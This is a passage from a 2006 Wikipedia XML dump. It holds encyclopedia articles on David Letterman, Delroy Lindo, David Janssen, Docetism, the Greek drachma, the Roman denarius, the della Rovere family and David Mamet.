*In late [[October 2005]], [[Jay Leno]] told the ''[[New York Daily News]]'' that he and Letterman have not spoken to one another in 13 years.

*In [[December 2005]], a fan named Colleen Nestler (whom Letterman claimed he had never met) filed a temporary restraining order in a [[Santa Fe, New Mexico]] court against Letterman, claiming he used code words and gestures on his television broadcasts to convey romantic feelings towards her. She claims these incidents caused her &quot;mental cruelty.&quot; After a judge granted the order, Letterman's lawyer declared the order &quot;absurd and frivolous&quot; and filed a motion to end it. [http://www.eonline.com/News/Items/0,1,18017,00.html?newsrellink] At a [[December 26]] hearing, the order was lifted. [http://www.eonline.com/News/Items/0,1,18041,00.html] As usual, Letterman was able to make fun out of the situation: during one of his monologues soon after the story broke, he told the audience after they laughed at a joke he had made: &quot;That wasn't a joke, that was a coded message.&quot;

== See also ==
*[[Madonna on Letterman]] - info on some of Letterman's most talked about shows, including the 1994 interview in which the singer said the f-word thirteen times.
*[[Craig Ferguson]]

== External links ==
{{wikiquote}}
* {{imdb name|id=0001468|name=David Letterman}}
* [http://www.tv.com/david-letterman/person/4618/summary.html?q=david+letterman David Letterman at TV.COM]
* [http://www.cbs.com/latenight/lateshow/show_info/bios/ls_show_info_bios_dletterman.shtml Official ''Late Show'' biography]
* [http://www.ddy.com/dl3.html DDY's Late Show with David Letterman Fan Page]
* [http://movies.yahoo.com/movie/contributor/1800122204/website List of Letterman Fan Sites on Yahoo]
* [http://www.indystar.com/library/factfiles/people/l/letterman_david/letterman.html Letterman biography] from his hometown newspaper ([[The Indianapolis Star]])
* [http://www.salon.com/people/bc/1999/07/20/letterman/ 1999 article on Letterman] from [[salon.com]]	

{{start box}}
{{succession box|title=Host of ''[[Late Night]]''|before=''(none)''|after=[[Conan O'Brien]]|years=1982–1993}}
{{incumbent succession box|title=Host of ''[[The Late Show with David Letterman|The Late Show]]''|before=''(none)''| start=1993| }}
{{end box}}

[[Category:1947 births|Letterman, David]]
[[Category:American comedians|Letterman, David]]
[[Category:American television personalities|Letterman, David]]
[[Category:American television talk show hosts|Letterman, David]]
[[Category:David Letterman|Letterman, David]]
[[Category:Emmy Award winners|Letterman, David]]
[[Category:Indianapolitans|Letterman, David]]
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[[Category:People from Indiana|Letterman, David]]
[[Category:Teetotalers|Letterman, David]]
[[Category:Sigma Chi brothers]]

[[da:David Letterman]]
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  </page>
  <page>
    <title>Delroy Lindo</title>
    <id>8341</id>
    <revision>
      <id>41063473</id>
      <timestamp>2006-02-24T20:48:25Z</timestamp>
      <contributor>
        <ip>84.102.180.235</ip>
      </contributor>
      <comment>/* Selected filmography */</comment>
      <text xml:space="preserve">[[image:lindo.jpg|thumb|Delroy Lindo]]
'''Delroy Lindo''' (born [[November 18]], [[1952]], Eltham, [[London]], [[England]], [[UK]]) is a British born, American actor.

The son of [[Jamaica]]n immigrant parents, Lindo was born and raised in Lewisham, England, where at age 5 on the strength of the [[nativity]] plays he appeared in became a stage actor. As a teenager he and his mother moved to [[Toronto]], [[Canada]] and by the [[1970s]] they had moved to the U.S. where Lindo would graduate from the American Conservatory Theater in [[San Francisco]]. His movie debut came in [[1976]] with the British comedy ''Find the Lady'', followed by two other roles in films such as that of an Army sergeant in ''More American Graffiti'' ([[1979]]) when he quit acting for 10 years to concentrate on theatre production. In [[1982]], he debuted on [[Broadway theatre|Broadway]] in ''Master Harold and the Boys'' directed by the play's author [[Athol Fugard]] and by [[1988]], Lindo earned a [[Tony Award|Tony]] nomination for his portrayal of Harald Loomis in Joe Turner's ''Come and Gone''.

It was director [[Spike Lee]] who provided the boost Lindo's career needed, even though he had turned down a role in ''[[Do the Right Thing]]'' to act alongside [[Rutger Hauer]] and [[Joan Chen]] in the cult sci-fi movie ''[[The Blood of Heroes|Salute of the Jugger]]'' ([[1990]]), and cast him as Woody Carmichael in the comedy ''Crooklyn'' ([[1994]]). Among the films he has starred in have been [[Barry Sonnenfeld]]'s ''[[Get Shorty]]'',  ''Clockers'', ''Feeling Minnesota'', and as the baseball player [[Satchel Paige]] in ''Soul of the Game'' ([[1996]]). Much of the character actor's work alternates between playing treacherous bad guys or trustworthy professionals. He continues to work on screen, most recently in ''[[Wondrous Oblivion]]'' ([[2003]]).

==Selected filmography==
* ''Find the Lady'' (1976)
* ''More American Graffiti'' (1979)
* ''Salute of the Jugger'' (1990)
* ''[[Malcolm X (film)|Malcolm X]]'' (1992)
* ''[[Bound by Honor]] (Blood in Blood Out)'' (1993)
* ''[[Crooklyn]]'' (1994)
* ''[[Congo]]'' (1995)
* ''[[Get Shorty]]'' (1996)
* ''Soul of the Game'' (1996)
* ''A Life Less Ordinary'' (1997)
* ''[[The Cider House Rules (film)]]'' (1999)
* ''[[Gone in Sixty Seconds (2000 film)|Gone in Sixty Seconds]]'' (2000)
* ''[[Romeo Must Die]]'' (2000)
* ''[[The One (film)|The One]]'' (2001)
* ''[[Heist]]'' ([[2001]])
* ''[[The Core]]'' (2003)
* ''Wondrous Oblivion'' (2003)
* ''[[Domino]]'' (2005)

==External links==
*{{imdb name|id=0005148|name=Delroy Lindo}}

[[Category:1952 births|Lindo, Delroy]]
[[Category:Living people|Lindo, Delroy]]
[[Category:African-American actors|Lindo, Delroy]]
[[Category:American actors|Lindo, Delroy]]
[[Category:Film actors|Lindo, Delroy]]

[[de:Delroy Lindo]]
[[ja:デルロイ・リンドー]]</text>
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  </page>
  <page>
    <title>David Janssen</title>
    <id>8343</id>
    <revision>
      <id>40651279</id>
      <timestamp>2006-02-22T01:51:56Z</timestamp>
      <contributor>
        <username>T.E. Goodwin</username>
        <id>302171</id>
      </contributor>
      <minor />
      <comment>Correction of place of death.  Source: Internet Movie Database</comment>
      <text xml:space="preserve">[[Image:David-janssen-1.jpg|thumb|David Janssen, 1960]]
'''David Harold Meyer''' ([[March 27]], [[1931]] – [[February 13]], [[1980]]), better known as '''David Janssen''', was an [[United States|American]] [[film]] and [[television]] [[actor]] who is best-known for his role as Dr. [[Richard Kimble]] in the television series ''[[The Fugitive (TV series)|The Fugitive]]'' (ABC,1963-1967). He also starred in the TV series ''[[Richard Diamond, Private Detective]]'',  ''[[O'Hara, U.S. Treasury]]'', and ''[[Harry-O]]'' and in a number of films including [[John Wayne]]'s ''[[The Green Berets (film)|The Green Berets]]''. A smoker and a heavy drinker, plus a constant worker, Janssen died of a sudden [[Myocardial infarction|heart attack]] at the age of 48 in [[Malibu, California.]] (See [[Lifestyle diseases]].) He was interred in the [[Hillside Memorial Park Cemetery]]  in [[Culver City, California]].
==External links==
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=1672 David Janssen on Find-A-Grave]
==Selected films and television programs==

*''[[The Fugitive (TV series)|The Fugitive]]'' (1963-1967)
*''[[Warning Shot]]'' (1967)
*''[[The Green Berets (film)|The Green Berets]]'' ([[1968 in film|1968]])
*''[[Marooned (film)|Marrooned]]'' ([[1969 in film|1969]])
*''Moon of the Wolf'' (1973)
*''The Prisoner in the Middle'' (1976)

{{US-tv-actor-stub}}

[[Category:1931 births|Janssen, David]]
[[Category:1980 deaths|Janssen, David]]
[[Category:Television actors|Janssen, David]]
[[Category:American actors|Janssen, David]]
[[Category:Jewish American actors|Janssen, David]]
[[Category:People from Nebraska|Janssen, David]]
[[Category:Film actors|Janssen, David]]

[[de:David Janssen]]</text>
    </revision>
  </page>
  <page>
    <title>Docetism</title>
    <id>8344</id>
    <revision>
      <id>35897819</id>
      <timestamp>2006-01-20T02:22:14Z</timestamp>
      <contributor>
        <username>Darkhorse82</username>
        <id>238465</id>
      </contributor>
      <text xml:space="preserve">In [[Christianity]], '''Docetism''' is the belief, regarded by most theologians as [[heresy|heretical]], that [[Jesus]] did not have a physical body; rather, that his body was an illusion, as was his [[crucifixion]].

This belief is most commonly attributed to the [[Gnosticism|Gnostics]], who believed that matter was evil, and hence that [[God]] would not take on a material body. This sort of statement, however, is rooted in the idea that a divine spark is imprisoned within the material body and that the material body is in itself an obstacle, deliberately created by an evil lesser god (the [[demiurge]]) for this purpose, that prevents man from seeing his divine origin. Humanity is, in essence, asleep. 

Docetism could be further explained as the view that, because the human body is temporary and the spirit is eternal, the body of Jesus therefore must have been an illusion and his crucifixion as well. It could be compared to how a [[Buddhist]] speaks about illusion: illusion is everything that is temporary, not everything that is not real. Even so, saying that the human body is temporary has a tendency to undercut the importance of the belief in resurrection of the dead and the goodness of created matter, and is in opposition to this orthodox view.

Docetism was rejected by the [[ecumenical council]]s and mainstream Christianity, and largely died out during the [[1000s|first millennium]] A.D. [[Catharism]], and other surviving gnostic movements, incorporated docetism into their beliefs, but the movement was destroyed by the [[Genocides in history|genocide]] of the [[Albigensian Crusade]].

[[Islam]] also teaches that Jesus's [[Isa#Isa neither crucified nor killed|crucifixion was an illusion]] (&quot;… They did not kill him and they did not crucify him, but it was made to seem so to them...&quot; (Qur'an, 4:157)).

== See also ==
*[[Christology]]
*[[Avatar]]

[[Category:Christian mysticism]]
[[Category:Christian theology]]
[[Category:Gnosticism]]

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  <page>
    <title>Greek drachma</title>
    <id>8347</id>
    <revision>
      <id>41721520</id>
      <timestamp>2006-03-01T07:45:52Z</timestamp>
      <contributor>
        <username>Sysin</username>
        <id>55969</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">'''Drachma''', pl. ''Drachmas'' or ''Drachmae'' (&amp;#948;&amp;#961;&amp;#945;&amp;#967;&amp;#956;&amp;#942;, pl. &amp;#948;&amp;#961;&amp;#945;&amp;#967;&amp;#956;&amp;#941;&amp;#962;) is the name of both:
#An ancient currency unit found in many Greek city states and [[successor state]]s, and in many [[middle east|middle-eastern]] kingdoms of the [[Hellenistic]] era.
#A modern Greek [[currency]], introduced in [[1832]], and replaced by the [[euro]] in [[2001]] (at the rate of 340.750 drachma to the euro). Euro currency did not begin circulating until [[2002]], but the exchange rate was fixed in 2001.

== Ancient Drachma ==

The name Drachma is derived from the verb &quot;&amp;#948;&amp;#961;&amp;#940;&amp;#964;&amp;#964;&amp;#969;&quot; (dratto, to grasp).  Initially a drachma was a fistful (a &quot;grasp&quot;) of 6 [[obolus|oboloi]], sticks of metal used as currency as early as 1100BC.  

[[Image:Tetradrachma från Aten (omkr 490 fKr, ur Nordisk familjebok).png|thumb|Tetradrachm from Athens about 490 BC]]
The [[5th century BC]] [[Athens|Athenian]] ''tetradrachm'' (&quot;four drachmae&quot;) [[coin]] was the most widely used coin in the Greek world prior to [[Alexander the Great]]. It featured the helmeted profile bust of [[Athena]] on the obverse (front) and an owl on the reverse (back). In daily use they were called {{polytonic|γλα&amp;#8166;και}} ''glaukai'' (owls), hence the phrase [[List of Greek phrases|{{polytonic|&amp;Gamma;&amp;lambda;&amp;alpha;&amp;#8166;&amp;kappa;’ &amp;#7944;&amp;theta;&amp;#8053;&amp;nu;&amp;alpha;&amp;zeta;&amp;epsilon;}}]]
. The reverse is featured on the national side of the Greek 1 euro coin, see [[Greek euro coins]].

After [[Alexander the Great]]'s conquests, the name ''Drachma'' was used in many of the [[Hellenistic]] kingdoms in the [[Middle East]], including the [[Ptolemaic]] kingdom in [[Alexandria]]. The [[Arabia|Arabic]] unit of currency known as ''[[dirham]]'' (in the [[Arabic language]], &amp;#1583;&amp;#1585;&amp;#1607;&amp;#1605;), known from pre-[[Islam]]ic times and afterwards, inherited its name from the drachma; the dirham is still the name of the official currencies of [[Moroccan Dirham|Morocco]] and the [[UAE Dirham|United Arab Emirates]]. The [[Armenia]]n [[Dram (currency)|dram]] also derives its name from the drachma.

The drachma was also used in [[Ancient Rome]] in the [[3rd century BC]].  It is difficult to give even comparative values for money from before the [[20th century]], due to vastly differing products, but in the 5th century BC a drachma had an estimated value of 25 1990 dollars. Classical historians regularly say that in the late [[Roman Republic]] and early [[Roman Empire]], the daily wage for a laborer was one Drachma.

== Modern Drachma ==

The drachma was reborn in 1832, soon after the establishment of the modern state of Greece. It replaced the ''[[Greek phoenix |phoenix]]'' at par. In 1868 Greece joined the [[Latin Monetary Union]] and the drachma became equal in weight and value to the [[French franc]]. During the [[Germany|German]] occupation of Greece (1941-1944), catastrophic [[hyperinflation]] and [[Nazi]] looting of the Greek treasury made the drachma practically worthless; in 1944, old drachmae were exchanged for new ones at the ratio of 50,000,000,000 to 1. The new currency was soon devaluated again; in 1953, in an effort to halt the slide, Greece joined the [[Bretton Woods system]]. In 1956 notes were again exchanged for new ones, at a ratio of 1,000 to 1; the new notes were pegged at 30 drachmae = 1 [[US dollar]].

&lt;table border=&quot;1&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; cellpading=&quot;2&quot;&gt;
&lt;tr&gt;&lt;th align=&quot;center&quot; bgcolor=&quot;green&quot; colspan=&quot;2&quot;&gt;'''Drachma'''&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; bgcolor=&quot;black&quot;&gt;[[Image:1drachma1988front.jpg]]&lt;/td&gt;&lt;td align=&quot;center&quot; bgcolor=&quot;black&quot;&gt;[[Image:1drachma1988back.jpg]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot; colspan=&quot;2&quot;&gt;1 drachma 1988&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

In 1973, the Bretton Woods System was abolished; over the next 25 years the official exchange rate gradually declined, reaching 400 GRD = 1 USD. 

Greece joined the [[Economic and Monetary Union of the European Union]], on [[1 January]] [[2001]], and exactly one year later, the drachma was officially replaced by the [[Euro]] at a rate of 340.75 drachmas to the Euro. The coins continued to be exchangeable into Euros until [[March 1]], [[2004]].  The banknotes will continue to be exchangeable until [[March 1]], [[2012]].


The [[ISO 4217]] code for the Drachma is GRD; The [[currency sign]] is &amp;#x20AF; ([[Unicode]] character code #x20AF - often typed as Δρ.).

'''[[Coin]]s in circulation at the time of the adoption of the Euro [http://www.bankofgreece.gr/en/Banknotes/coins.htm]'''
*50 Lepta (.147 Eurocents)&lt;sup&gt;1&lt;/sup&gt;
*1 Drachma (.293 Eurocents)&lt;sup&gt;1&lt;/sup&gt;
*2 Drachmae (.587 Eurocents)&lt;sup&gt;1&lt;/sup&gt;
*5 Drachmae (1.47 Eurocents)
*10 Drachmae (2.93 Eurocents)
*20 Drachmae (5.87 Eurocents)
*50 Drachmae (14.67 Eurocents)
*100 Drachmae (29.35 Eurocents)
*500 Drachmae (1.47 Euros)

&lt;sup&gt;1&lt;/sup&gt; Minted, but rarely used

'''[[Banknote]]s in circulation at the time of the adoption of the Euro [http://www.bankofgreece.gr/en/Banknotes/banknotes.htm]'''
*100 drachmae (29.35 Eurocents)
*200 drachmae (58.69 Eurocents)
*500 drachmae (1.47 Euros)
*1000 drachmae (2.93 Euros)
*5000 drachmae (14.67 Euros)
*10,000 drachmae (29.35 Euros)

'''Historic currency divisions'''
:6 ''obols'' = 1 ''drachma''
:100 ''drachmae'' = 1 ''[[minae|mina]]'' (or ''mna'')
:60 ''minae'' = 1 ''[[Athenian Talent]]'' (Athenian standard)
[[Minae]] and talents were never actually minted: they represented weight measures used for commodities (e.g. grain) as well as metals like silver or gold

'''Modern currency divisions'''
:100 ''[[Greek lepton|lepta]]'' = 1 ''drachma''

==External links==
*[http://news.bbc.co.uk/hi/english/static/in_depth/business/2001/euro_cash/spent_currencies/drachma.stm Overview of the modern Greek drachma from the BBC]
*
[http://www.fleur-de-coin.com/currency/greekcoinshistory.asp?sec=4 The Greek currency history ] Complete presentation of the Greek modern coins

{{start box}}
{{succession box|title=[[Greece|Greek]] currency|before=[[Greek phoenix]]|after=[[euro]]|years=[[1832]]-[[2002]]}}
{{end box}}

{{PreEuroCurrencies}}

[[Category:Coins of Ancient Greece]]
[[Category:Currencies replaced by the Euro]]

[[bg:Драхма]]
[[da:Drakme]]
[[de:Drachme]]
[[eo:Draĥmo]]
[[el:Δραχμή]]
[[es:Dracma]]
[[fr:Drachme]]
[[ko:드라크마]]
[[it:Dracma]]
[[mo:Драхмэ]]
[[nl:Drachme]]
[[no:Drakme]]
[[nn:Drakme]]
[[pl:Drachma (moneta)]]
[[pt:Dracma]]
[[ro:Drahmă]]
[[tr:Drahmi]]</text>
    </revision>
  </page>
  <page>
    <title>Denarius</title>
    <id>8349</id>
    <revision>
      <id>42098772</id>
      <timestamp>2006-03-03T20:46:07Z</timestamp>
      <contributor>
        <ip>66.137.186.26</ip>
      </contributor>
      <text xml:space="preserve">[[Image:8denarii.jpg|thumb|400px|First row : c. [[157 BC]] [[Roman Republic]], c. [[73|AD 73]] [[Vespasian]], c. [[161]] [[Marcus Aurelius]], c. [[194]] [[Septimius Severus]]; &lt;br /&gt; Second row: c. [[199]] [[Caracalla]], c. [[200]] [[Julia Domna]], c. [[219]] [[Elagabalus]], c. [[236]] [[Maximinus Thrax]]]]

The [[ancient Rome|Roman]] [[currency]] system included the '''denarius''' (plural: ''denarii''), a small [[silver coin]], as the most common coin in circulation.

It is difficult to give even comparative values for money from before the [[20th century]], due to vastly different types of products, however, its purchasing power in terms of bread was estimated at [[United States dollar|US$]]20 dollars in the early empire.  Classical historians regularly say that in the late [[Roman Republic]] and early [[Roman Empire]] the daily wage for an unskilled laborer was one denarius, about [[United States dollar|US$]]20, for comparison, today.  The average [[United States|American]] laborer makes [[United States dollar|US$]]180 a day.  The actual silver content of the Denarius was about 50 [[grains]], or 1/10 [[troy ounces]] under the Empire.

The denarius was first struck in [[211 BC]] during the [[Roman Republic]], valued at 10 [[as (coin)|asses]], giving the denarius its name which translates to &quot;containing ten&quot;.  In about [[141 BC]] it was re-tariffed at 16 asses, to reflect the decrease in size of the [[as (coin)|as]].  The denarius continued to be the main coin of the empire until it was replaced by the [[antoninianus]] in the middle of the [[3rd century]]. The fineness of the silver content varied with political and economic circumstances.  

Even after the denarius was no longer regularly issued, it continued to be used as an accounting device and the name was applied to later Roman coins in a way that is not understood. The lasting legacy of the denarius can be seen in the use of &quot;d&quot; as the abbreviation for the old French [[Denier (coin)|denier]] and the British [[penny]] prior to 1971.  The denarius also survives in the common Arabic name for a currency unit, the ''[[dinar]]'' &amp;#1583;&amp;#1610;&amp;#1606;&amp;#1575;&amp;#1585;, used from pre-Islamic times, and still used in several modern Arabic-speaking nations.  The [[Spanish language|Spanish]] word ''dinero'' (money), and the [[Portuguese language|Portuguese]] word ''dinheiro'', are also derived from Latin &quot;denarius&quot;.[http://buscon.rae.es/draeI/SrvltGUIBusUsual?LEMA=dinero]

The gold ''[[aureus]]'' seems to have been a &quot;currency of account&quot;, a denomination not commonly seen in daily transactions due to its high value.  Numismatists think that the aureus was used to pay bonuses to the legions at the accession of new emperors.  It was valued at 25 denarii.

1 [[gold]] aureus = 2 gold quinarii = 25 silver denarii = 50 silver [[quinarius|quinarii]] =100 bronze sestertii = 200 bronze dupondii = 400 copper asses = 800 copper [[semis]]ses = 1600 copper [[quadrans]]

''See also:'' [[Roman currency]], [[sestertius]], [[dupondius]], [[as (coin)|as]], [[Solidus (coin)|solidus]] and [[drachma]].

== External links ==
{{Commons|Denarius}}
http://penelope.uchicago.edu/Thayer/E/Roman/Texts/secondary/SMIGRA*/Denarius.html

[[Category:Coins of Ancient Rome]]

[[da:Denarius]]
[[de:Denarius]]
[[es:Denario]]
[[fr:Denier (monnaie)]]
[[it:Denario]]
[[la:Denarius]]
[[lt:Denaras]]
[[nl:Denarius]]
[[pl:Denar]]
[[pt:Denário]]
[[simple:Denarius]]</text>
    </revision>
  </page>
  <page>
    <title>Della Rovere</title>
    <id>8350</id>
    <revision>
      <id>35661113</id>
      <timestamp>2006-01-18T10:40:51Z</timestamp>
      <contributor>
        <username>Dbachmann</username>
        <id>86857</id>
      </contributor>
      <text xml:space="preserve">The [[Liguria]]n '''della Rovere''' family ruled the duchy of [[Urbino]]. 

They rose to importance during the Italian [[Renaissance]], supplying two [[pope]]s:
*Francesco della Rovere, [[Pope Sixtus IV]], [[1471]]-[[1484]]
*Giuliano della Rovere, [[Pope Julius II]], [[1503]]-[[1513]]

The dynasty ended in [[1626]], when [[Pope Urban VIII]] incorporated Urbino into the [[papal dominions]], the gift of the weary last Della Rovere duke, Francesco Maria II., in retirement after the assassination of his heir, Francesco Ubaldo.

==Family Tree==
# Leonardo (Beltramo) of [[Savona]]
## Francesco della Rovere (1414-1484), [[Pope Sixtus IV]]
## Raffaelo della Rovere
### [[Leonardo della Rovere]]
### Giuliano della Rovere, (1443-1513), [[Pope Julius II]]
### Giovanni della Rovere (died [[1501]]), duke of Urbino
#### Francesco Maria I. della Rovere ([[1490]]-[[1538]]), duke of Urbino
##### Guidobaldo della Rovere ([[1517]]-[[1574]]), duke of Urbino
###### [[Francesco Maria II. della Rovere]] ([[1549]]-[[1631]]), duke from  1574 to [[1621]], and again briefly in [[1623]], gives Urbino to the pope in 1626
#######  Francesco Ubaldo della Rovere (1605-1625), duke of Urbino
######## Vittoria della Rovere ([[1622]]-[[1694]])
##### Giulio della Rovere (died [[1578]]), [[cardinal]]
###### Ippolito della Rovere (illegitimate, died [[1620]]), marchgrave of San Lorenzo
####### Livia della Rovere, marries  Francesco Maria II. della Rovere
####### Giulio della Rovere (died [[1636]])
##### Giulia della Rovere (died [[1563]])

[[Category:Italian people]]
[[Category:Papal families]]

{{pope-stub}}

[[de:Della Rovere]]
[[nl:Della Rovere]]</text>
    </revision>
  </page>
  <page>
    <title>David Mamet</title>
    <id>8351</id>
    <revision>
      <id>41353566</id>
      <timestamp>2006-02-26T20:24:41Z</timestamp>
      <contributor>
        <username>Zafiroblue05</username>
        <id>284148</id>
      </contributor>
      <comment>use a more common term</comment>
      <text xml:space="preserve">'''David Alan Mamet''' (born [[November 30]], [[1947]]) is an [[United States|American]] [[playwright]], [[screenwriter]], [[film director|director]], [[poet]], [[essayist]] and novelist born to a Jewish family in [[Flossmoor, Illinois]], a suburb of [[Chicago]].  

Educated at the [[Francis W. Parker School]] and at [[Goddard College]] and a founding member of the [[Atlantic Theater Company]], Mamet first gained acclaim for a trio of off-Broadway plays in [[1976]], ''The Duck Variations'', ''Sexual Perversity in Chicago'', and ''American Buffalo''.  

He was awarded the [[Pulitzer Prize]] in 1984 for ''[[Glengarry Glen Ross]],'' which received its first Broadway revival in the summer of [[2005]]. His work is characterized by playful plots overturning conventions and typically features strong male characters and their tough posturings, rhythmically profane dialogue, and charged verbal confrontations. His first screenplay was the [[1981]] production of ''[[The Postman Always Rings Twice]]'' based upon [[James M. Cain]]'s novel. He won an [[Academy Award]] nomination for his next script, ''[[The Verdict]]''.  

In [[1987]] Mamet made his film directing debut with ''[[House of Games]]'', starring his then-wife, [[Lindsay Crouse]] and a host of longtime stage associates. He remains a prolific writer and director, and has assembled an informal repertory company for his films, including [[William H. Macy]], [[Joe Mantegna]], Crouse, [[Rebecca Pidgeon]] (his wife since 1991), and [[Ricky Jay]].

Like independent director [[John Sayles]], Mamet funds his own films with the pay he gets from credited and uncredited rewrites of typically big-budget films.  For instance, Mamet has done rewrites of the scripts for ''[[Hannibal (movie)|Hannibal]]'' and ''[[Hoffa]]'', and turned in an early version of a script for ''[[Malcolm X (movie)|Malcolm X]]'' that director [[Spike Lee]] rejected.  

Three of Mamet's own films, ''[[House of Games]]'', ''[[The Spanish Prisoner]]'', and ''[[Heist (2001 movie)|Heist]]'' have involved the world of [[confidence trickster|con artist]]s.

Mamet has published three novels, ''The Village'' in [[1994]], ''The Old Religion'' in [[1997]], and ''Wilson: a Consideration of the Sources'' in [[2003]]. He has also written several [[non-fiction]] texts as well as a number of poems and children's stories. He was credited under the name &quot;Richard Weisz&quot; for [[Ronin (film)|Ronin]].

== Criticism ==

As a drama practitioner, he argues in his book ''[[True and False]]'' against the practice of teaching drama students the ''[[method acting]]'' of [[Constantin Stanislavski]] or [[Lee Strasberg]]. For Mamet, who is not an actor, time spent searching for emotion memory or considering character's biographies is time wasted, and he suspects that it is an academic bluff working to keep actors uncertain. He also argues that the the accomplishments of the Method &quot;greats&quot; ([[Brando]],[[de Niro]] et al) were due to natural genius and fierce determination rather than a specific academic methodology.

He recommends a simple, honest style of acting, where the actor's job is to learn the lines, find their mark, and speak up simply.  Work on character, he asserts, is the playwright's job.

In his books about acting, there is no process whatsoever for emotional preparation, the creation of an imaginary world in which to live while acting, no process for creating specific characterizations and little to no respect for those great actors who engage in such processes. 

Mamet advocates an acting process, or lack thereof, that is quite attractive to young actors because it posits that acting is a craft born out of the repeated application of a few straightforward, basic principles. While many actors respect some of Mamet's generic ideas about acting, they view much of what he writes as resulting from his lack of personal acting experience and lack of respect for the many years of work that goes into great acting. 

Using Mamet's &quot;method,&quot; one is not able to create any kind of characterization that is different from themselves, since Mamet thinks there are no valid processes for doing this. Taking Mamet's ideas to their logical end, acting work of the caliber of Anthony Hopkins, Robert De Niro, and Philip Seymour Hoffman, to name a few, requires no complicated acting process, and can be accomplished by anyone who possesses the natural facility and is willing to work hard enough at their craft. Although some actors and acting teachers regard this is as unlikely, Hopkins himself praised ''True And False'' as &quot;[demolishing] the myths and the psychobabble-gobbledygook that pass for theory with regard to acting&quot; and described it as &quot;a revealing book of the highest order&quot;[http://www.samuelfrench-london.co.uk/sf/Pages/theatre-bks-list/acting.html]. 

Some commentators have theorised that a primary reason his books about acting are quite popular with young actors is because his books make acting seem completely simple; the opposing view is that Mamet's success lies in providing relevant and practical advice.

Then again, it must be noted that Mamet usually relies on a pared-down, finely honed prose, and that in advising acting students to reject method systems, he is by no means advocating any specific system of his own. He urges students, above all, to question the establishment and the established - whether it be [[Stanislavsky]], [[Lee Strasberg|Strasberg]], or [[Hollywood]] itself. Most of [[True and False]] reads like a series of deliberate attempts to shock the reader out of complacency, and to provoke debate, rather than any definite statement of a methodical creed. Furthermore, the notes from Mamet's acting workshops and production notes have been compiled and expanded into a very specific textbook, [[A Practical Handbook for the Actor]], and it must be noted that many of Mamet's suggestions and techniques (in both texts) either greatly resemble or fully correspond with those of reknowned director and teacher [[Uta Hagen]].

== Recent Work ==
In July 2004, [[Cambridge University Press]] published '''The Cambridge Companion to David Mamet''', edited by Christopher Bigsby. The book includes essays analyzing Mamet's biography, his impact during various decades, and several of his plays.

Since May 2005 he's been a contributing blogger at [[The Huffington Post]].  

== Family ==

He has two daughters by his ex-wife, actress [[Lindsay Crouse]]. He has been married to U.S. born and Scottish reared actress and singer-songwriter, [[Rebecca Pidgeon]] since [[1991]]. They have two children, Clara and Noah.

== Filmography ==
* ''[[Edmond (play)|Edmond]]'' (2005)
* ''[[Spartan (film)|Spartan]]'' (2004) [Director] [Writer] 
* ''[[Heist (film)|Heist]]'' (2001) [Director] [Writer] 
* ''[[Hannibal (film)|Hannibal]]'' (2001) [Writer] 
* ''[[Beckett on Film#Catastrophe|Catastrophe]]'' (2000) [Director] 
* ''[[Lakeboat]]'' (2000) [Writer] 
* ''[[State and Main]]'' (2000) [Director] [Writer] 
* ''[[The Winslow Boy]]'' (1999) [Director] [Writer] 
* ''[[Ronin (film)|Ronin]]'' (1998) [Writer] 
* ''[[Wag the Dog]]'' (1997) [Writer] 
* ''[[The Spanish Prisoner]]'' (1997) [Director] [Writer] 
* ''[[The Edge (film)|The Edge]]'' (1997) [Writer] 
* ''[[American Buffalo (film)|American Buffalo]]'' (1996) [Writer] 
* ''[[Oleanna]]'' (1994) [Director] [Writer] 
* ''[[Vanya on 42nd Street]]'' (1994) [Writer] 
* ''[[Hoffa]]'' (1992)[Writer] [Producer]
* ''[[Glengarry Glen Ross]]'' (1992) [Writer] 
* ''[[Homicide (1991 film)|Homicide]]'' (1991) [Director] [Writer] 
* ''[[We're No Angels (1989 film)|We're No Angels]]'' (1989) [Writer] 
* ''[[Things Change]]'' (1988) [Director] [Writer] 
* ''[[House of Games]]'' (1987) [Director] [Writer] 
* ''[[The Untouchables]]'' (1987) [Writer] 
* ''[[About Last Night...]]'' (1986) [Writer] 
* ''[[The Verdict]]'' (1982) [Writer] 
* ''[[The Postman Always Rings Twice]]'' (1981) [Writer]

== Plays ==
* ''[[Lakeboat]]'' (1970, revised 1980)[Writer]
* ''[[The Duck Variations]]'' (1972)[Writer]
* ''[[Sexual Perversity in Chicago]]'' (1974)[Writer]
* ''[[Squirrels (play)|Squirrels]]'' (1974) [Writer]
* ''[[American Buffalo (play)|American Buffalo]]'' (1975)[Writer]
* ''[[Reunion (play)|Reunion]]'' (1976) [Writer]
* ''[[The Water Engine]]'' (1976)[Writer]
* ''[[A Life in the Theatre]]'' (1977)[Writer]
* ''[[Revenge of the Space Pandas, or Binky Rudich and the Two-Speed Clock]]'' (1978)[Writer]
* ''[[The Woods]]'' (1979)[Writer]
* ''[[Lakeboat]]'' (1980)[Writer]
* ''[[Edmond (play)|Edmond]]'' (1982)[Writer]
* ''[[The Frog Prince]]'' (1983)[Writer]
* ''[[Glengarry Glen Ross]]'' (1984)[Writer]
* ''[[The Shawl]]'' (1985)[Writer]
* ''[[Speed-the-Plow]]'' (1988)[Writer]
* ''[[Bobby Gould In Hell]]'' (1989)[Writer]
* ''[[Oleanna]]'' (1992)[Writer]
* ''[[The Cryptogram]]'' (1995)[Writer]
* ''[[Boston Marriage (play)|Boston Marriage]]'' (2001)[Writer]
* ''[[Faustus (Mamet play)|Faustus]]'' (2004)[Writer]
* ''[[Romance (Mamet play)|Romance]]'' (2005)[Writer]
* ''[[The Voysey Inheritance]]'' (2005)&lt;nowiki&gt;[&lt;/nowiki&gt;Writer-adaptation of play by [[Harley Granville-Barker]]&lt;nowiki&gt;]&lt;/nowiki&gt;
* ''Boston Marriage''(2005)

== Books ==
* ''[[Writing in Restaurants]] (1987) [Author]
* ''[[On Directing Film]] (1992) [Author]
* ''[[Make-Believe Town: Essays and Remembraces]] (1996) [Author]
* ''[[Three Uses of the Knife]] (1996) [Author]
* ''[[True and False: Heresy and Common Sense for the Actor]] (1999) [Author]

==External links==
* {{imdb name|id=0000519|name=David Mamet}}
